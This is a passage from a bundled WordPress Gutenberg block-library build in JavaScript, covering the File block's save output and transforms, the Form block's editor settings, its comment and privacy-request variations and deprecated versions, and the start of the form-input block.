17120 "aria-label": pdfEmbedLabel
17121 }
17122 ) }),
17123 hasFilename && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17124 "a",
17125 {
17126 id: describedById,
17127 href: textLinkHref,
17128 target: textLinkTarget,
17129 rel: textLinkTarget ? "noreferrer noopener" : void 0,
17130 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: fileName })
17131 }
17132 ),
17133 showDownloadButton && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17134 "a",
17135 {
17136 href,
17137 className: dist_clsx(
17138 "wp-block-file__button",
17139 (0,external_wp_blockEditor_namespaceObject.__experimentalGetElementClassName)("button")
17140 ),
17141 download: true,
17142 "aria-describedby": describedById,
17143 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: downloadButtonText })
17144 }
17145 )
17146 ] });
17147}
17148
17149
17150;// ./node_modules/@wordpress/block-library/build-module/file/transforms.js
17151
17152
17153
17154
17155
17156const file_transforms_transforms = {
17157 from: [
17158 {
17159 type: "files",
17160 isMatch(files) {
17161 return files.length > 0;
17162 },
17163 // We define a lower priority (higher number) than the default of 10. This
17164 // ensures that the File block is only created as a fallback.
17165 priority: 15,
17166 transform: (files) => {
17167 const blocks = [];
17168 files.forEach((file) => {
17169 const blobURL = (0,external_wp_blob_namespaceObject.createBlobURL)(file);
17170 if (file.type.startsWith("video/")) {
17171 blocks.push(
17172 (0,external_wp_blocks_namespaceObject.createBlock)("core/video", {
17173 blob: (0,external_wp_blob_namespaceObject.createBlobURL)(file)
17174 })
17175 );
17176 } else if (file.type.startsWith("image/")) {
17177 blocks.push(
17178 (0,external_wp_blocks_namespaceObject.createBlock)("core/image", {
17179 blob: (0,external_wp_blob_namespaceObject.createBlobURL)(file)
17180 })
17181 );
17182 } else if (file.type.startsWith("audio/")) {
17183 blocks.push(
17184 (0,external_wp_blocks_namespaceObject.createBlock)("core/audio", {
17185 blob: (0,external_wp_blob_namespaceObject.createBlobURL)(file)
17186 })
17187 );
17188 } else {
17189 blocks.push(
17190 (0,external_wp_blocks_namespaceObject.createBlock)("core/file", {
17191 blob: blobURL,
17192 fileName: file.name
17193 })
17194 );
17195 }
17196 });
17197 return blocks;
17198 }
17199 },
17200 {
17201 type: "block",
17202 blocks: ["core/audio"],
17203 transform: (attributes) => {
17204 return (0,external_wp_blocks_namespaceObject.createBlock)("core/file", {
17205 href: attributes.src,
17206 fileName: attributes.caption,
17207 textLinkHref: attributes.src,
17208 id: attributes.id,
17209 anchor: attributes.anchor
17210 });
17211 }
17212 },
17213 {
17214 type: "block",
17215 blocks: ["core/video"],
17216 transform: (attributes) => {
17217 return (0,external_wp_blocks_namespaceObject.createBlock)("core/file", {
17218 href: attributes.src,
17219 fileName: attributes.caption,
17220 textLinkHref: attributes.src,
17221 id: attributes.id,
17222 anchor: attributes.anchor
17223 });
17224 }
17225 },
17226 {
17227 type: "block",
17228 blocks: ["core/image"],
17229 transform: (attributes) => {
17230 return (0,external_wp_blocks_namespaceObject.createBlock)("core/file", {
17231 href: attributes.url,
17232 fileName: attributes.caption || (0,external_wp_url_namespaceObject.getFilename)(attributes.url),
17233 textLinkHref: attributes.url,
17234 id: attributes.id,
17235 anchor: attributes.anchor
17236 });
17237 }
17238 }
17239 ],
17240 to: [
17241 {
17242 type: "block",
17243 blocks: ["core/audio"],
17244 isMatch: ({ id }) => {
17245 if (!id) {
17246 return false;
17247 }
17248 const { getEntityRecord } = (0,external_wp_data_namespaceObject.select)(external_wp_coreData_namespaceObject.store);
17249 const media = getEntityRecord("postType", "attachment", id);
17250 return !!media && media.mime_type.includes("audio");
17251 },
17252 transform: (attributes) => {
17253 return (0,external_wp_blocks_namespaceObject.createBlock)("core/audio", {
17254 src: attributes.href,
17255 caption: attributes.fileName,
17256 id: attributes.id,
17257 anchor: attributes.anchor
17258 });
17259 }
17260 },
17261 {
17262 type: "block",
17263 blocks: ["core/video"],
17264 isMatch: ({ id }) => {
17265 if (!id) {
17266 return false;
17267 }
17268 const { getEntityRecord } = (0,external_wp_data_namespaceObject.select)(external_wp_coreData_namespaceObject.store);
17269 const media = getEntityRecord("postType", "attachment", id);
17270 return !!media && media.mime_type.includes("video");
17271 },
17272 transform: (attributes) => {
17273 return (0,external_wp_blocks_namespaceObject.createBlock)("core/video", {
17274 src: attributes.href,
17275 caption: attributes.fileName,
17276 id: attributes.id,
17277 anchor: attributes.anchor
17278 });
17279 }
17280 },
17281 {
17282 type: "block",
17283 blocks: ["core/image"],
17284 isMatch: ({ id }) => {
17285 if (!id) {
17286 return false;
17287 }
17288 const { getEntityRecord } = (0,external_wp_data_namespaceObject.select)(external_wp_coreData_namespaceObject.store);
17289 const media = getEntityRecord("postType", "attachment", id);
17290 return !!media && media.mime_type.includes("image");
17291 },
17292 transform: (attributes) => {
17293 return (0,external_wp_blocks_namespaceObject.createBlock)("core/image", {
17294 url: attributes.href,
17295 caption: attributes.fileName,
17296 id: attributes.id,
17297 anchor: attributes.anchor
17298 });
17299 }
17300 }
17301 ]
17302};
17303var file_transforms_transforms_default = file_transforms_transforms;
17304
17305
17306;// ./node_modules/@wordpress/block-library/build-module/file/index.js
17307
17308
17309
17310
17311
17312
17313
17314
17315const { name: file_name } = file_block_namespaceObject;
17316const file_settings = {
17317 icon: file_default,
17318 example: {
17319 attributes: {
17320 href: "https://upload.wikimedia.org/wikipedia/commons/d/dd/Armstrong_Small_Step.ogg",
17321 fileName: (0,external_wp_i18n_namespaceObject._x)("Armstrong_Small_Step", "Name of the file")
17322 }
17323 },
17324 transforms: file_transforms_transforms_default,
17325 deprecated: file_deprecated_deprecated_default,
17326 edit: file_edit_edit_default,
17327 save: file_save_save
17328};
17329const file_init = () => initBlock({ name: file_name, metadata: file_block_namespaceObject, settings: file_settings });
17330
17331
17332;// ./node_modules/@wordpress/block-library/build-module/form/utils.js
17333
17334const formSubmissionNotificationSuccess = [
17335 "core/form-submission-notification",
17336 {
17337 type: "success"
17338 },
17339 [
17340 [
17341 "core/paragraph",
17342 {
17343 content: '<mark style="background-color:rgba(0, 0, 0, 0);color:#345C00" class="has-inline-color">' + (0,external_wp_i18n_namespaceObject.__)("Your form has been submitted successfully") + "</mark>"
17344 }
17345 ]
17346 ]
17347];
17348const formSubmissionNotificationError = [
17349 "core/form-submission-notification",
17350 {
17351 type: "error"
17352 },
17353 [
17354 [
17355 "core/paragraph",
17356 {
17357 content: '<mark style="background-color:rgba(0, 0, 0, 0);color:#CF2E2E" class="has-inline-color">' + (0,external_wp_i18n_namespaceObject.__)("There was an error submitting your form.") + "</mark>"
17358 }
17359 ]
17360 ]
17361];
17362
17363
17364;// ./node_modules/@wordpress/block-library/build-module/form/edit.js
17365
17366
17367
17368
17369
17370
17371
17372const form_edit_TEMPLATE = [
17373 formSubmissionNotificationSuccess,
17374 formSubmissionNotificationError,
17375 [
17376 "core/form-input",
17377 {
17378 type: "text",
17379 label: (0,external_wp_i18n_namespaceObject.__)("Name"),
17380 required: true
17381 }
17382 ],
17383 [
17384 "core/form-input",
17385 {
17386 type: "email",
17387 label: (0,external_wp_i18n_namespaceObject.__)("Email"),
17388 required: true
17389 }
17390 ],
17391 [
17392 "core/form-input",
17393 {
17394 type: "textarea",
17395 label: (0,external_wp_i18n_namespaceObject.__)("Comment"),
17396 required: true
17397 }
17398 ],
17399 ["core/form-submit-button", {}]
17400];
17401const form_edit_Edit = ({ attributes, setAttributes, clientId }) => {
17402 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
17403 const resetAllSettings = () => {
17404 setAttributes({
17405 submissionMethod: "email",
17406 email: void 0,
17407 action: void 0,
17408 method: "post"
17409 });
17410 };
17411 const { action, method, email, submissionMethod } = attributes;
17412 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
17413 const { hasInnerBlocks } = (0,external_wp_data_namespaceObject.useSelect)(
17414 (select) => {
17415 const { getBlock } = select(external_wp_blockEditor_namespaceObject.store);
17416 const block = getBlock(clientId);
17417 return {
17418 hasInnerBlocks: !!(block && block.innerBlocks.length)
17419 };
17420 },
17421 [clientId]
17422 );
17423 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
17424 template: form_edit_TEMPLATE,
17425 renderAppender: hasInnerBlocks ? void 0 : external_wp_blockEditor_namespaceObject.InnerBlocks.ButtonBlockAppender
17426 });
17427 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
17428 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
17429 external_wp_components_namespaceObject.__experimentalToolsPanel,
17430 {
17431 dropdownMenuProps,
17432 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
17433 resetAll: resetAllSettings,
17434 children: [
17435 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17436 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
17437 {
17438 hasValue: () => submissionMethod !== "email",
17439 label: (0,external_wp_i18n_namespaceObject.__)("Submissions method"),
17440 onDeselect: () => setAttributes({
17441 submissionMethod: "email"
17442 }),
17443 isShownByDefault: true,
17444 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17445 external_wp_components_namespaceObject.SelectControl,
17446 {
17447 __nextHasNoMarginBottom: true,
17448 __next40pxDefaultSize: true,
17449 label: (0,external_wp_i18n_namespaceObject.__)("Submissions method"),
17450 options: [
17451 // TODO: Allow plugins to add their own submission methods.
17452 {
17453 label: (0,external_wp_i18n_namespaceObject.__)("Send email"),
17454 value: "email"
17455 },
17456 {
17457 label: (0,external_wp_i18n_namespaceObject.__)("- Custom -"),
17458 value: "custom"
17459 }
17460 ],
17461 value: submissionMethod,
17462 onChange: (value) => setAttributes({ submissionMethod: value }),
17463 help: submissionMethod === "custom" ? (0,external_wp_i18n_namespaceObject.__)(
17464 'Select the method to use for form submissions. Additional options for the "custom" mode can be found in the "Advanced" section.'
17465 ) : (0,external_wp_i18n_namespaceObject.__)(
17466 "Select the method to use for form submissions."
17467 )
17468 }
17469 )
17470 }
17471 ),
17472 submissionMethod === "email" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17473 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
17474 {
17475 hasValue: () => !!email,
17476 label: (0,external_wp_i18n_namespaceObject.__)("Email for form submissions"),
17477 onDeselect: () => setAttributes({
17478 email: void 0,
17479 action: void 0,
17480 method: "post"
17481 }),
17482 isShownByDefault: true,
17483 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17484 external_wp_components_namespaceObject.TextControl,
17485 {
17486 __nextHasNoMarginBottom: true,
17487 __next40pxDefaultSize: true,
17488 autoComplete: "off",
17489 label: (0,external_wp_i18n_namespaceObject.__)("Email for form submissions"),
17490 value: email || "",
17491 required: true,
17492 onChange: (value) => {
17493 setAttributes({ email: value });
17494 setAttributes({
17495 action: `mailto:${value}`
17496 });
17497 setAttributes({ method: "post" });
17498 },
17499 help: (0,external_wp_i18n_namespaceObject.__)(
17500 "The email address where form submissions will be sent. Separate multiple email addresses with a comma."
17501 ),
17502 type: "email"
17503 }
17504 )
17505 }
17506 )
17507 ]
17508 }
17509 ) }),
17510 submissionMethod !== "email" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "advanced", children: [
17511 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17512 external_wp_components_namespaceObject.SelectControl,
17513 {
17514 __next40pxDefaultSize: true,
17515 __nextHasNoMarginBottom: true,
17516 label: (0,external_wp_i18n_namespaceObject.__)("Method"),
17517 options: [
17518 { label: "Get", value: "get" },
17519 { label: "Post", value: "post" }
17520 ],
17521 value: method,
17522 onChange: (value) => setAttributes({ method: value }),
17523 help: (0,external_wp_i18n_namespaceObject.__)(
17524 "Select the method to use for form submissions."
17525 )
17526 }
17527 ),
17528 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17529 external_wp_components_namespaceObject.TextControl,
17530 {
17531 __next40pxDefaultSize: true,
17532 __nextHasNoMarginBottom: true,
17533 autoComplete: "off",
17534 label: (0,external_wp_i18n_namespaceObject.__)("Form action"),
17535 value: action,
17536 onChange: (newVal) => {
17537 setAttributes({
17538 action: newVal
17539 });
17540 },
17541 help: (0,external_wp_i18n_namespaceObject.__)(
17542 "The URL where the form should be submitted."
17543 ),
17544 type: "url"
17545 }
17546 )
17547 ] }),
17548 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17549 "form",
17550 {
17551 ...innerBlocksProps,
17552 encType: submissionMethod === "email" ? "text/plain" : null
17553 }
17554 )
17555 ] });
17556};
17557var form_edit_edit_default = form_edit_Edit;
17558
17559
17560;// ./node_modules/@wordpress/block-library/build-module/form/block.json
17561const form_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"__experimental":true,"name":"core/form","title":"Form","category":"common","allowedBlocks":["core/paragraph","core/heading","core/form-input","core/form-submit-button","core/form-submission-notification","core/group","core/columns"],"description":"A form.","keywords":["container","wrapper","row","section"],"textdomain":"default","icon":"feedback","attributes":{"submissionMethod":{"type":"string","default":"email"},"method":{"type":"string","default":"post"},"action":{"type":"string"},"email":{"type":"string"}},"supports":{"anchor":true,"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true,"link":true}},"spacing":{"margin":true,"padding":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalTextDecoration":true,"__experimentalFontStyle":true,"__experimentalFontWeight":true,"__experimentalLetterSpacing":true,"__experimentalTextTransform":true,"__experimentalDefaultControls":{"fontSize":true}}}}');
17562;// ./node_modules/@wordpress/block-library/build-module/form/save.js
17563
17564
17565function form_save_save({ attributes }) {
17566 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save();
17567 const { submissionMethod } = attributes;
17568 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17569 "form",
17570 {
17571 ...blockProps,
17572 encType: submissionMethod === "email" ? "text/plain" : null,
17573 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {})
17574 }
17575 );
17576}
17577
17578
17579;// ./node_modules/@wordpress/block-library/build-module/form/variations.js
17580
17581
17582const form_variations_variations = [
17583 {
17584 name: "comment-form",
17585 title: (0,external_wp_i18n_namespaceObject.__)("Experimental Comment form"),
17586 description: (0,external_wp_i18n_namespaceObject.__)("A comment form for posts and pages."),
17587 attributes: {
17588 submissionMethod: "custom",
17589 action: "{SITE_URL}/wp-comments-post.php",
17590 method: "post",
17591 anchor: "comment-form"
17592 },
17593 isDefault: false,
17594 innerBlocks: [
17595 [
17596 "core/form-input",
17597 {
17598 type: "text",
17599 name: "author",
17600 label: (0,external_wp_i18n_namespaceObject.__)("Name"),
17601 required: true,
17602 visibilityPermissions: "logged-out"
17603 }
17604 ],
17605 [
17606 "core/form-input",
17607 {
17608 type: "email",
17609 name: "email",
17610 label: (0,external_wp_i18n_namespaceObject.__)("Email"),
17611 required: true,
17612 visibilityPermissions: "logged-out"
17613 }
17614 ],
17615 [
17616 "core/form-input",
17617 {
17618 type: "textarea",
17619 name: "comment",
17620 label: (0,external_wp_i18n_namespaceObject.__)("Comment"),
17621 required: true,
17622 visibilityPermissions: "all"
17623 }
17624 ],
17625 ["core/form-submit-button", {}]
17626 ],
17627 scope: ["inserter", "transform"],
17628 isActive: (blockAttributes) => !blockAttributes?.type || blockAttributes?.type === "text"
17629 },
17630 {
17631 name: "wp-privacy-form",
17632 title: (0,external_wp_i18n_namespaceObject.__)("Experimental Privacy Request Form"),
17633 keywords: ["GDPR"],
17634 description: (0,external_wp_i18n_namespaceObject.__)("A form to request data exports and/or deletion."),
17635 attributes: {
17636 submissionMethod: "custom",
17637 action: "",
17638 method: "post",
17639 anchor: "gdpr-form"
17640 },
17641 isDefault: false,
17642 innerBlocks: [
17643 formSubmissionNotificationSuccess,
17644 formSubmissionNotificationError,
17645 [
17646 "core/paragraph",
17647 {
17648 content: (0,external_wp_i18n_namespaceObject.__)(
17649 "To request an export or deletion of your personal data on this site, please fill-in the form below. You can define the type of request you wish to perform, and your email address. Once the form is submitted, you will receive a confirmation email with instructions on the next steps."
17650 )
17651 }
17652 ],
17653 [
17654 "core/form-input",
17655 {
17656 type: "email",
17657 name: "email",
17658 label: (0,external_wp_i18n_namespaceObject.__)("Enter your email address."),
17659 required: true,
17660 visibilityPermissions: "all"
17661 }
17662 ],
17663 [
17664 "core/form-input",
17665 {
17666 type: "checkbox",
17667 name: "export_personal_data",
17668 label: (0,external_wp_i18n_namespaceObject.__)("Request data export"),
17669 required: false,
17670 visibilityPermissions: "all"
17671 }
17672 ],
17673 [
17674 "core/form-input",
17675 {
17676 type: "checkbox",
17677 name: "remove_personal_data",
17678 label: (0,external_wp_i18n_namespaceObject.__)("Request data deletion"),
17679 required: false,
17680 visibilityPermissions: "all"
17681 }
17682 ],
17683 ["core/form-submit-button", {}],
17684 [
17685 "core/form-input",
17686 {
17687 type: "hidden",
17688 name: "wp-action",
17689 value: "wp_privacy_send_request"
17690 }
17691 ],
17692 [
17693 "core/form-input",
17694 {
17695 type: "hidden",
17696 name: "wp-privacy-request",
17697 value: "1"
17698 }
17699 ]
17700 ],
17701 scope: ["inserter", "transform"],
17702 isActive: (blockAttributes) => !blockAttributes?.type || blockAttributes?.type === "text"
17703 }
17704];
17705var form_variations_variations_default = form_variations_variations;
17706
17707
17708;// ./node_modules/@wordpress/block-library/build-module/form/deprecated.js
17709
17710
17711const form_deprecated_v1 = {
17712 // The block supports here are deliberately empty despite this
17713 // deprecated version of the block having adopted block supports.
17714 // The attributes added by these supports have been manually
17715 // added to this deprecated version's attributes definition so
17716 // that the data isn't lost on migration. All this is so that the
17717 // automatic application of block support classes doesn't occur
17718 // as this version of the block had a bug that overrode those
17719 // classes. If those block support classes are applied during the
17720 // deprecation process, this deprecation doesn't match and won't
17721 // run.
17722 // @see https://github.com/WordPress/gutenberg/pull/55755
17723 supports: {},
17724 attributes: {
17725 submissionMethod: {
17726 type: "string",
17727 default: "email"
17728 },
17729 method: {
17730 type: "string",
17731 default: "post"
17732 },
17733 action: {
17734 type: "string"
17735 },
17736 email: {
17737 type: "string"
17738 },
17739 // The following attributes have been added to match the block
17740 // supports at the time of the deprecation. See above for details.
17741 anchor: {
17742 type: "string",
17743 source: "attribute",
17744 attribute: "id",
17745 selector: "*"
17746 },
17747 backgroundColor: {
17748 type: "string"
17749 },
17750 textColor: {
17751 type: "string"
17752 },
17753 gradient: {
17754 type: "string"
17755 },
17756 style: {
17757 type: "object"
17758 },
17759 fontFamily: {
17760 type: "string"
17761 },
17762 fontSize: {
17763 type: "string"
17764 }
17765 },
17766 save({ attributes }) {
17767 const { submissionMethod } = attributes;
17768 const colorProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetColorClassesAndStyles)(attributes);
17769 const typographyProps = (0,external_wp_blockEditor_namespaceObject.getTypographyClassesAndStyles)(attributes);
17770 const spacingProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetSpacingClassesAndStyles)(attributes);
17771 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save({
17772 // In this deprecated version, the block support is deliberately empty.
17773 // As a result, the useBlockProps.save() does not output style or id attributes,
17774 // so we apply them explicitly here.
17775 style: {
17776 ...colorProps.style,
17777 ...typographyProps.style,
17778 ...spacingProps.style
17779 },
17780 id: attributes.anchor
17781 });
17782 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17783 "form",
17784 {
17785 ...blockProps,
17786 className: "wp-block-form",
17787 encType: submissionMethod === "email" ? "text/plain" : null,
17788 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {})
17789 }
17790 );
17791 }
17792};
17793var form_deprecated_deprecated_default = [form_deprecated_v1];
17794
17795
17796;// ./node_modules/@wordpress/block-library/build-module/form/index.js
17797
17798
17799
17800
17801
17802
17803
17804const { name: form_name } = form_block_namespaceObject;
17805const form_settings = {
17806 edit: form_edit_edit_default,
17807 save: form_save_save,
17808 deprecated: form_deprecated_deprecated_default,
17809 variations: form_variations_variations_default,
17810 example: {}
17811};
17812const form_init = () => {
17813 const DISALLOWED_PARENTS = ["core/form"];
17814 (0,external_wp_hooks_namespaceObject.addFilter)(
17815 "blockEditor.__unstableCanInsertBlockType",
17816 "core/block-library/preventInsertingFormIntoAnotherForm",
17817 (canInsert, blockType, rootClientId, { getBlock, getBlockParentsByBlockName }) => {
17818 if (blockType.name !== "core/form") {
17819 return canInsert;
17820 }
17821 for (const disallowedParentType of DISALLOWED_PARENTS) {
17822 const hasDisallowedParent = getBlock(rootClientId)?.name === disallowedParentType || getBlockParentsByBlockName(
17823 rootClientId,
17824 disallowedParentType
17825 ).length;
17826 if (hasDisallowedParent) {
17827 return false;
17828 }
17829 }
17830 return true;
17831 }
17832 );
17833 return initBlock({ name: form_name, metadata: form_block_namespaceObject, settings: form_settings });
17834};
17835
17836
17837// EXTERNAL MODULE: ./node_modules/remove-accents/index.js
17838var remove_accents = __webpack_require__(9681);
17839var remove_accents_default = /*#__PURE__*/__webpack_require__.n(remove_accents);
17840;// external ["wp","dom"]
17841const external_wp_dom_namespaceObject = window["wp"]["dom"];
17842;// ./node_modules/@wordpress/block-library/build-module/form-input/deprecated.js
17843
17844
17845
17846
17847
17848const getNameFromLabelV1 = (content) => {
17849 return remove_accents_default()((0,external_wp_dom_namespaceObject.__unstableStripHTML)(content)).replace(/[^\p{L}\p{N}]+/gu, "-").toLowerCase().replace(/(^-+)|(-+$)/g, "");
17850};
17851const form_input_deprecated_v2 = {
17852 attributes: {
17853 type: {
17854 type: "string",
17855 default: "text"
17856 },
17857 name: {
17858 type: "string"
17859 },
17860 label: {
17861 type: "string",
17862 default: "Label",
17863 selector: ".wp-block-form-input__label-content",
17864 source: "html",
17865 role: "content"
17866 },
17867 inlineLabel: {
17868 type: "boolean",
17869 default: false
17870 },
17871 required: {
17872 type: "boolean",
17873 default: false,
17874 selector: ".wp-block-form-input__input",
17875 source: "attribute",
17876 attribute: "required"
17877 },
17878 placeholder: {
17879 type: "string",
17880 selector: ".wp-block-form-input__input",
17881 source: "attribute",
17882 attribute: "placeholder",
17883 role: "content"
17884 },
17885 value: {
17886 type: "string",
17887 default: "",
17888 selector: "input",
17889 source: "attribute",
17890 attribute: "value"
17891 },
17892 visibilityPermissions: {
17893 type: "string",
17894 default: "all"
17895 }
17896 },
17897 supports: {
17898 anchor: true,
17899 reusable: false,
17900 spacing: {
17901 margin: ["top", "bottom"]
17902 },
17903 __experimentalBorder: {
17904 radius: true,
17905 __experimentalSkipSerialization: true,
17906 __experimentalDefaultControls: {
17907 radius: true
17908 }
17909 }
17910 },
17911 save({ attributes }) {
17912 const { type, name, label, inlineLabel, required, placeholder, value } = attributes;
17913 const borderProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetBorderClassesAndStyles)(attributes);
17914 const colorProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetColorClassesAndStyles)(attributes);
17915 const inputStyle = {
17916 ...borderProps.style,
17917 ...colorProps.style
17918 };
17919 const inputClasses = dist_clsx(
17920 "wp-block-form-input__input",
17921 colorProps.className,
17922 borderProps.className
17923 );
17924 const TagName = type === "textarea" ? "textarea" : "input";
17925 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save();
17926 if ("hidden" === type) {
17927 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("input", { type, name, value });
17928 }
17929 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
17930 "label",
17931 {
17932 className: dist_clsx("wp-block-form-input__label", {
17933 "is-label-inline": inlineLabel
17934 }),
17935 children: [
17936 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "wp-block-form-input__label-content", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: label }) }),
17937 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17938 TagName,
17939 {
17940 className: inputClasses,
17941 type: "textarea" === type ? void 0 : type,
17942 name: name || getNameFromLabelV1(label),
17943 required,
17944 "aria-required": required,
17945 placeholder: placeholder || void 0,
17946 style: inputStyle
17947 }
17948 )
17949 ]
17950 }
17951 ) });
17952 }
17953};
17954const form_input_deprecated_v1 = {
17955 attributes: {
17956 type: {
17957 type: "string",
17958 default: "text"
17959 },
17960 name: {
17961 type: "string"
17962 },
17963 label: {
17964 type: "string",
17965 default: "Label",
17966 selector: ".wp-block-form-input__label-content",
17967 source: "html",
17968 role: "content"
17969 },
17970 inlineLabel: {
17971 type: "boolean",
17972 default: false
17973 },
17974 required: {
17975 type: "boolean",
17976 default: false,
17977 selector: ".wp-block-form-input__input",
17978 source: "attribute",
17979 attribute: "required"
17980 },
17981 placeholder: {
17982 type: "string",
17983 selector: ".wp-block-form-input__input",
17984 source: "attribute",
17985 attribute: "placeholder",
17986 role: "content"
17987 },
17988 value: {
17989 type: "string",
17990 default: "",
17991 selector: "input",
17992 source: "attribute",
17993 attribute: "value"
17994 },
17995 visibilityPermissions: {
17996 type: "string",
17997 default: "all"
17998 }
17999 },
18000 supports: {
18001 className: false,
18002 anchor: true,
18003 reusable: false,
18004 spacing: {
18005 margin: ["top", "bottom"]
18006 },
18007 __experimentalBorder: {
18008 radius: true,
18009 __experimentalSkipSerialization: true,
18010 __experimentalDefaultControls: {
18011 radius: true
18012 }
18013 }
18014 },
18015 save({ attributes }) {
18016 const { type, name, label, inlineLabel, required, placeholder, value } = attributes;
18017 const borderProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetBorderClassesAndStyles)(attributes);
18018 const colorProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetColorClassesAndStyles)(attributes);
18019 const inputStyle = {
18020 ...borderProps.style,
18021 ...colorProps.style
18022 };
18023 const inputClasses = dist_clsx(
18024 "wp-block-form-input__input",
18025 colorProps.className,
18026 borderProps.className
18027 );
18028 const TagName = type === "textarea" ? "textarea" : "input";
18029 if ("hidden" === type) {
18030 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("input", { type, name, value });
18031 }
18032 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
18033 "label",
18034 {
18035 className: dist_clsx("wp-block-form-input__label", {
18036 "is-label-inline": inlineLabel
18037 }),
18038 children: [
18039 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "wp-block-form-input__label-content", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: label }) }),
18040 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18041 TagName,
18042 {
18043 className: inputClasses,
18044 type: "textarea" === type ? void 0 : type,
18045 name: name || getNameFromLabelV1(label),
18046 required,
18047 "aria-required": required,
18048 placeholder: placeholder || void 0,
18049 style: inputStyle
18050 }
18051 )
18052 ]
18053 }
18054 );
18055 }
18056};
18057const form_input_deprecated_deprecated = [form_input_deprecated_v2, form_input_deprecated_v1];
18058var form_input_deprecated_deprecated_default = form_input_deprecated_deprecated;
18059
18060
18061;// ./node_modules/@wordpress/block-library/build-module/form-input/edit.js
18062
18063
18064
18065
18066
18067
18068
18069function InputFieldBlock({ attributes, setAttributes, className }) {
18070 const { type, name, label, inlineLabel, required, placeholder, value } = attributes;
18071 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
18072 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
18073 const ref = (0,external_wp_element_namespaceObject.useRef)();
18074 const TagName = type === "textarea" ? "textarea" : "input";
18075 const borderProps = (0,external_wp_blockEditor_namespaceObject.__experimentalUseBorderProps)(attributes);
18076 const colorProps = (0,external_wp_blockEditor_namespaceObject.__experimentalUseColorProps)(attributes);
18077 if (ref.current) {
18078 ref.current.focus();
18079 }
18080 const isCheckboxOrRadio = type === "checkbox" || type === "radio";
18081 const controls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
18082 "hidden" !== type && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
18083 external_wp_components_namespaceObject.__experimentalToolsPanel,
18084 {
18085 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
18086 resetAll: () => {
18087 setAttributes({
18088 inlineLabel: false,
18089 required: false
18090 });
18091 },
18092 dropdownMenuProps,
18093 children: [
18094 "checkbox" !== type && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
